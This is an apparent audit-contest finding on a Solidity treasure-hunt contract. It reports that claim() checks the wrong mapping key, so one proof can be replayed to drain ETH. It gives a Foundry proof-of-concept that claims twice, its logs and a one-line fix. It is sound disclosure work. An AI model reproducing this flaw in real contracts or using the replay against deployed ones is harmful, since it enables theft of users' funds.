SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Double Claim Vulnerability - Same Treasure Claimable Multiple Times

Author Revealed upon completion

An attacker can claim the same treasure multiple times, draining the entire contract balance.

Description

  • The claim() function should mark each treasure as claimed only once.

  • But it checks claimed[_treasureHash] (always 0x0) instead of claimed[treasureHash] (the parameter), allowing repeated claims.

if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // @> WRONG KEY
// ...
_markClaimed(treasureHash); // @> MARKS DIFFERENT KEY

Risk

Likelihood:

  • An attacker with a valid proof can call claim() repeatedly with the same proof and treasureHash.

  • Each call succeeds because the duplicate check compares against the wrong key.

Impact:

  • Attacker can drain entire contract balance (100 ETH with 10 claims of 10 ETH each).

  • Contract cannot prevent legitimate users from claiming after funds are depleted.

Proof of Concept

function testClaimTwishPath() public {
(
bytes memory proof,
bytes32 treasureHash,
address payable recipient
) = _loadFixture();
uint256 beforeBal = recipient.balance;
uint256 contractbalace = address(hunt).balance;
hunt.claim(proof, treasureHash, recipient);
uint256 afterFirstClaim = recipient.balance;
uint256 contractAfterFirst = address(hunt).balance;
// SECOND CLAIM - SAME PROOF
hunt.claim(proof, treasureHash, recipient);
uint256 afterSecondClaim = recipient.balance;
uint256 contractAfterSecond = address(hunt).balance;
console.log("After claim 1 - Recipient: ", afterFirstClaim);
console.log("After claim 2 - Recipient: ", afterSecondClaim);
console.log("Contract went from: 100 ETH → 90 ETH → 80 ETH");
}
Test Output:
Logs:
recipient balance after first claim: 10000000000000000000 (10 ETH)
contract balance after first claim: 90000000000000000000 (90 ETH)
recipient balance after second claim: 20000000000000000000 (20 ETH) ← DOUBLE PAYMENT
contract balance after second claim: 80000000000000000000 (80 ETH) ← DRAINED

Recommended Mitigation

- if (claimed[_treasureHash])
+ if (claimed[treasureHash])

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!